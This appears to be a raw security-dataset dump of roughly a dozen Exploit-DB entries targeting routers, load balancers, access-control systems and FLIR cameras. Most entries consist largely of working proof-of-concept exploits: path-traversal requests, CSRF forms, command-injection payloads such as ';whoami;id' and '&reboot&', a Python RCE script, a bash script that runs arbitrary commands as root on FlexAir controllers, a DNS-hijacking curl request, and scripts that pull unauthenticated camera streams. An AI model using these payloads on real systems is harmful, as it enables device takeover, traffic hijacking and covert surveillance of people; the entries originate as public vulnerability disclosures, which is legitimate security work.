deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38448
Description: F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2015-10-13
Author: Karn Ganeshen

Exploit:
# Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040
]
# Multiple Additional F5 products & versions are Affected and documented
here:
https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html


*Vulnerability Details*
The handler parameter is vulnerable to file path manipulation attacks. When
we submit a payload
*/tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler*
parameter, the file *WEB-INF/web.xml* is returned.

*PoC:*

POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://
<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A[PII_REDACTED]0255BAF39984E7E3F;
BIGIPAuthUsernameCookie=admin;
BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5;
F5_CURRENT_PARTITION=Common;
f5formpage="/tmui/locallb/virtual_server/list.jsp?&";
f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp";
f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""

_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
*...[SNIP]...*
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=
*%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml*


*Web.xml is returned in the Response:*

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">



*<!--Automatically created by Tomcat JspC.--><web-app>*
*...[config file output redacted here]...*

*.....*
Exploit-DB #44606
Description: Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-05-10
Author: Raffaele Sabato

Exploit:
# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Date: 09-05-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023

I DESCRIPTION
========================================================================

An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
The vulnerability was disclosed to Fastweb on 19 January 2018.
Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.

II PROOF OF CONCEPT
========================================================================

## Activate Gues Wi-Fi:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
      <input type="hidden" name="&#95;" value="[PII_REDACTED]36" />
      <input type="hidden" name="act" value="nvset" />
      <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
      <input type="hidden" name="hotspot&#95;enable" value="1" />
      <input type="hidden" name="hotspot&#95;filtering" value="all" />
      <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
      <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
      <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
      <input type="hidden" name="service" value="wl&#95;guestaccess" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/
Exploit-DB #47654
Description: Fastweb Fastgate 0.00.81 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2019-11-13
Author: Riccardo Gasparini

Exploit:
# Exploit Title: Fastweb Fastgate 0.00.81 - Remote Code Execution
# Date: 2019-11-13
# Exploit Author: Riccardo Gasparini
# Vendor Homepage: https://www.fastweb.it/
# Software Link: http://59.0.121.191:8080/ACS-server/file/0.00.81_FW_200_Askey (only from Fastweb ISP network)
# Version: 0.00.81
# Tested on: Linux
# CVE : N/A

import requests, json, time, sys

current_milli_time = lambda: int(round(time.time() * 1000))

[CREDENTIAL_REDACTED]'

if password == 'XXXXXXXXXXXXXXX':
    print("Password is set to XXXXXXXXXXXXXXX\nOpen the script and change the password")
    sys.exit(-1)

#get XSRF-TOKEN
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
    'Referer': 'http://192.168.1.254/tr069',
}
params = ()
response = requests.get('http://192.168.1.254', headers=headers)

#login request and get sessionKey
xsrfToken=response.cookies['XSRF-TOKEN']
cookies = {
    'XSRF-TOKEN': xsrfToken,
}
headers = {
    'Pragma': 'no-cache',
    'X-XSRF-TOKEN': xsrfToken,
    'Accept-Language': 'en-US,en-GB;q=0.9,en;q=0.8,it-IT;q=0.7,it;q=0.6,es;q=0.5,de;q=0.4',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36',
    'Accept': 'application/json, text/plain, */*',
    'Referer': 'http://192.168.1.254/tr069',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Cache-Control': 'no-cache',
}
params = (
    ('_', str(current_milli_time())),
    ('cmd', '3'),
    ('nvget', 'login_confirm'),
    ('password', password),
    ('remember_me', '1'),
    ('sessionKey', 'NULL'),
    ('username', 'admin'),
)

response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)

jsonResponse = json.loads(response.text)
sessionKey=jsonResponse["login_confirm"]["check_session"]

print("Executing command reboot\n")

#some commands as example are shown below in the mount parameter
params = (
    ('_', str(current_milli_time())),
    ('act','nvset'),
    ('service','usb_remove'),
    #Code execution
    #('mount','&ping -c 10 192.168.1.172&'),
    #('mount','&dropbear -r /etc/dropbear/dropbear_rsa_host_key&'),#to enable SSH
    ('mount','&reboot&'),
    ('sessionKey', sessionKey),
)
response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)
print(response.text)

#logout
params = (
    ('_', str(current_milli_time())),
    ('cmd', '5'),
    ('nvget', 'login_confirm'),
    ('sessionKey', sessionKey),
)

response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies)
print(json.dumps(json.loads(response.text), indent=2))
Exploit-DB #50339
Description: FatPipe Networks WARP 10.2.2 - Authorization Bypass
Type: webapps
Platform: hardware
Date: 2021-09-28
Author: LiquidWorm

Exploit:
# Exploit Title: FatPipe Networks WARP 10.2.2 - Authorization Bypass
# Date: 25.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.fatpipeinc.com

FatPipe Networks WARP 10.2.2 Authorization Bypass


Vendor: FatPipe Networks Inc.
Product web page: https://www.fatpipeinc.com
Affected version: WARP
                  10.2.2r38
                  10.2.2r25
                  10.2.2r10
                  10.1.2r60p82
                  10.1.2r60p71
                  10.1.2r60p65
                  10.1.2r60p58s1
                  10.1.2r60p58
                  10.1.2r60p55
                  10.1.2r60p45
                  10.1.2r60p35
                  10.1.2r60p32
                  10.1.2r60p13
                  10.1.2r60p10
                  9.1.2r185
                  9.1.2r180p2
                  9.1.2r165
                  9.1.2r164p5
                  9.1.2r164p4
                  9.1.2r164
                  9.1.2r161p26
                  9.1.2r161p20
                  9.1.2r161p17
                  9.1.2r161p16
                  9.1.2r161p12
                  9.1.2r161p3
                  9.1.2r161p2
                  9.1.2r156
                  9.1.2r150
                  9.1.2r144
                  9.1.2r129
                  7.1.2r39
                  6.1.2r70p75-m
                  6.1.2r70p45-m
                  6.1.2r70p26
                  5.2.0r34

Summary: FatPipe Networks invented the concept of router-clustering,
which provides the highest level of reliability, redundancy, and speed
of Internet traffic for Business Continuity and communications. FatPipe
WARP achieves fault tolerance for companies by creating an easy method
of combining two or more Internet connections of any kind over multiple
ISPs. FatPipe utilizes all paths when the lines are up and running,
dynamically balancing traffic over the multiple lines, and intelligently
failing over inbound and outbound IP traffic when ISP services and/or
components fail.

Desc: Improper access control occurs when the application provides direct
access to objects based on user-supplied input. As a result of this vulnerability
attackers can bypass authorization and access resources behind protected
pages.

Tested on: Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5682
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5682.php


30.05.2016
25.07.2021

--


$ curl -vk "https://10.0.0.9/fpui/jsp/index.jsp"
Exploit-DB #30900
Description: Feixun Wireless Router FWR-604H - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2014-01-14
Author: Arash Abedian

Exploit:
# Exploit Title: [Feixun FWR-604H Wireless Router Remote Code Execution]
# Date: [2014-01-09]
# Exploit Author: [Arash Abedian
(http://www.exploit-db.com/author/?a=6187<http://www.exploit-db.com/author/?a=6187)>
)
# Vendor Homepage: [http://feixun.com.cn]
# Version: [Hardware Version 1.0, Firmware Build: 7642]
# Tested on: [Hardware Version 1.0, Firmware Build: 7642]
# Vulnerability Details:
Feixun FWR-604H 150Mbps Wireless N Router is vulnerable to Remote Code
Execution vulnerability(Hardware Version 1.0, Firmware Build: 7642, Vendor
website:feixun.com.cn). The web server don't authenticate user prior to
system level execution. As such an unauthenticated attacker can easily
remotely exploit the target using system_command parameter in diagnosis.asp
file.

<html>
<body>
Exploit Feixun FWR-604H
<FORM ACTION="http://192.168.1.1/diagnosis.asp" METHOD=POST>
<input type="hidden" name="doType" value="2">
Command: <input type="text" name="system_command">
<input type="hidden" name="diagnosisResult" value="">
<input type="submit" value="Exploit">
</FORM>
</body>
</html>
Exploit-DB #43961
Description: FiberHome AN5506 - Remote DNS Change
Type: webapps
Platform: hardware
Date: 2018-02-02
Author: r0ots3c

Exploit:
#  FIBERHOME AN5506 Unauthenticated Remote DNS Change Vulnerability
#
#  Software Version RP2617
#  Device Model AN5506-04-F
#  Vendor Homepage: www.fiberhome.com/
#
#
#  Date: 01/02/2018
#  Exploit Author: r0ots3c
#  http://wandoelmo.com.br
#  https://www.facebook.com/wsec.info
#
#  Description:
#  Vulnerability exists in web interface
#  This router has vulnerabilities where you can get information or edit
configurations in an unauthenticated way.
#  The biggest risk is the possibility of changing the dns of the device.
#
#  Modifying systems' DNS settings allows cybercriminals to
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites:
#       These sites can be phishing pages that
#       spoof well-known sites in order to
#       trick users into handing out sensitive
#       information.
#
#    o  Replacing ads on legitimate sites:
#       Visiting certain sites can serve users
#       with infected systems a different set
#       of ads from those whose systems are
#       not infected.
#
#    o  Controlling and redirecting network traffic:
#       Users of infected systems may not be granted
#       access to download important OS and software
#       updates from vendors like Microsoft and from
#       their respective security vendors.
#
#    o  Pushing additional malware:
#       Infected systems are more prone to other
#       malware infections (e.g., FAKEAV infection).
#
#

Proof of Concept:

VIA CURL:
curl 'http://<TARGET>/goform/setDhcp'  -H 'Cookie: loginName=admin' -H
--data
'dhcpType=1&dhcprelay_ip=&dhcpStart=192.168.1.2&dhcpEnd=192.168.1.254&dhcpMask=255.255.255.0&dhcpPriDns=<MALICIOUS
DNS1>dhcpSecDns=<MALICIOUS
DNS2>&dhcpGateway=192.168.1.1&dhcptime=24&dhcptime_m=0&option_60enable_s=0&option_125enable_s=0&option125_text='
--compressed -k -i
Exploit-DB #42947
Description: Fiberhome AN5506-04-F - Command Injection
Type: webapps
Platform: hardware
Date: 2017-10-03
Author: Tauco

Exploit:
# Exploit Title: Fiberhome an5506-04-f  – -PING- COMMAND INJECTION
# Date: 03.10.2017
# Exploit Author: Tauco
# Vendor Homepage: http://hk.fiberhomegroup.com
# Version: RP2609
# Tested on: Windows 10


Description:
===========================================================================
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
 
https://www.owasp.org/index.php/Command_Injection


Proof of Concepts :

=======================================
1. Go to the Default Gateway
2. Open the application
3. Open diagnosis
4. Input command to the Destination Address
5. Click Ping

ping_ip=127.0.0.1;whoami;id

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.617 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.259 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.215 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.214 ms
64 bytes from 127.0.0.1: seq=4 ttl=64 time=0.218 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.214/0.304/0.617 ms
root
uid=0(root) gid=0 groups=0
Exploit-DB #46498
Description: Fiberhome AN5506-04-F RP2669 - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-03-04
Author: Tauco

Exploit:
# Exploit Title: Fiberhome AN5506-04-F  - Stored Cross Site Scripting
# Date: 04.03.2019
# Exploit Author: Tauco
# Vendor Homepage:  http://www.fiberhomegroup.com/en/
# Version:  RP2669
# Tested on: Windows 10
# CVE :  CVE-2019-9556

Description:
===========================================================================

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.

https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)

Proof of concept : 

===========================================================================
1. Login with credential 192.168.1.1
2. Go to Management
3. Open User Account
4. Add user
5. Inject the post parameter "account_user"
6. Encode Url <script>alert("XSS")</script>

POST /goform/setUser HTTP/1.1
Host: 192.168.1.1
Content-Length: 101
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.1/management/account_admin.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: loginName=admin
Connection: close

account_user=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e&account_[CREDENTIAL_REDACTED]_pwd2=password123&btnApply1=Apply&curIndex=new
Exploit-DB #44413
Description: FiberHome VDSL2 Modem HG 150-UB - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2018-04-06
Author: Noman Riffat

Exploit:
# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Authentication Bypass
# Date: 04/03/2018
# Exploit Author: Noman Riffat
# Vendor Homepage: http://www.fiberhome.com/
# CVE : CVE-2018-9248, CVE-2018-9248

The vulnerability exists in plain text & hard coded cookie. Using any
cookie manager extension, an attacker can bypass login page by setting the
following Master Cookie.

Cookie: Name=0admin

Then access the homepage which will no longer require authentication.
http://192.168.10.1/

Due to improper session implementation, there is another way to bypass
login. The response header of homepage without authentication looks like
this.

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close

<html><head><script language='javascript'>
parent.location='login.html'
</script></head><body></body></html>HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Content-Type: text/html
Connection: close

<html>
<head>
.. continue to actual homepage source

The response header looks totally messed up and by triggering burp suite
and modifying it to following will grant access to homepage without
authentication.

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close

<html>
<head>
.. continue to actual homepage source
Exploit-DB #47638
Description: FlexAir Access Control 2.4.9api3 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: FlexAir Access Control 2.4.9api3 - Remote Code Execution
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 2.4.9api3
# Tested on: NA
# CVE : CVE-2019-9189
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

# PoC

#!/bin/bash
#
# Command injection with root privileges in FlexAir Access Control (Prima Systems)
# Firmware version: <= 2.3.38

#
# Discovered by Sipke Mellema
# Updated: 14.01.2019
#
##########################################################################
#
# $ ./Nova2.3.38_cmd.sh 192.168.13.37 "id"
# Executing: id
# Output:
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Removing temporary file..
# Done
#
##########################################################################
# Output file on the server
OUTPUT_FILE="/www/pages/app/images/logos/output.txt"
# Command to execute
CMD="$2"
# IP address
IP="$1"
# Change HTTP to HTTPS if required
HOST="http://${IP}"
# Add output file
CMD_FULL="${CMD}>${OUTPUT_FILE}"
# Command injection payload. Be careful with single quotes!
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;${CMD_FULL}'/></request></requests>"

# Perform exploit
echo "Executing: ${CMD}"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
# Get output
echo "Output:"
curl -s "${HOST}/app/images/logos/output.txt"
# Remove temp file
echo "Removing temporary file.."
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;rm /www/pages/app/images/logos/output.txt'/></request></requests>"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
echo "Done"
Exploit-DB #45606
Description: FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure
Type: webapps
Platform: hardware
Date: 2018-10-15
Author: LiquidWorm

Exploit:
# Exploit Title: FLIR AX8 Thermal Camera 1.32.16 - RTSP Stream Disclosure
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-14
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16, 1.17.13, OS: neco_v1.8-0-g7ffe5b3, Hardware: Flir Systems Neco Board
# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l), lighttpd/1.4.33, PHP/5.4.14
# References:
# Advisory ID: ZSL-2018-5492
# https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5492.php

# Desc: The FLIR AX8 thermal sensor camera suffers an unauthenticated and unauthorized
# live RTSP video stream access.

# PoC 

$ cvlc rtsp://TARGET/mpeg4 --fullscreen
$ ffmpeg -i rtsp://TARGET/mpeg4 -b 7000k -vcodec copy -r 60 -y ./meltdown.mp4
$ ffplay rtsp://TARGET/mpeg4
$ wget http://TARGET/snapshot.jpg ; eog snapshot.jpg

# PoC - To freeze the stream:

$ curl -d "action=set&resource=.image.state.freeze.set&value=true" -X POST http://TARGET/res.php
Exploit-DB #45607
Description: FLIR Brickstream 3D+ - RTSP Stream Disclosure
Type: webapps
Platform: hardware
Date: 2018-10-15
Author: LiquidWorm

Exploit:
FLIR Systems FLIR Brickstream 3D+ Unauthenticated RTSP Stream Disclosure


Vendor: FLIR Systems, Inc.
Product web page: http://www.brickstream.com
Affected version: Firmware: 2.1.742.1842
                  Api: 1.0.0
                  Node: 0.10.33
                  Onvif: 0.1.1.47

Summary: The Brickstream line of sensors provides highly accurate, anonymous
information about how people move into, around, and out of physical places.
These smart devices are installed overhead inside retail stores, malls, banks,
stadiums, transportation terminals and other brick-and-mortar locations to
measure people's behaviors within the space.

Desc: The FLIR Brickstream 3D+ sensor is vulnerable to unauthenticated and
unauthorized live RTSP video stream access.

Tested on: Titan
           Api/1.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5496
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5496.php


26.07.2018

--


#!/bin/bash
#
# PoC:
#

echo 'Fetching some images...'
for x in {1..10};
    do curl http://192.168.2.1:8083/middleImage.jpg -o sequence-$x.jpg -#;
    done
echo 'Done.'
sleep 2
echo 'Generating video...'
sleep 2
ffmpeg -r 1 -i sequence-%01d.jpg -c:v libx264 -vf fps=60 -pix_fmt yuv444p counted_people.mp4
echo 'Running generated video...'
sleep 2
vlc counted_people.mp4

#
# http://192.168.2.1:8083/middleImage.jpg
# http://192.168.2.1:8083/rightimage.jpg
# http://192.168.2.1:8083/leftimage.jpg
# http://192.168.2.1:8083/threeDimage.jpg
# http://192.168.2.1:8083/startStopTrafficMapImage.jpg
# http://192.168.2.1:8083/dwellTrafficMapImage.jpg
# http://192.168.2.1:8083/heightTrafficMapImage.jpg
#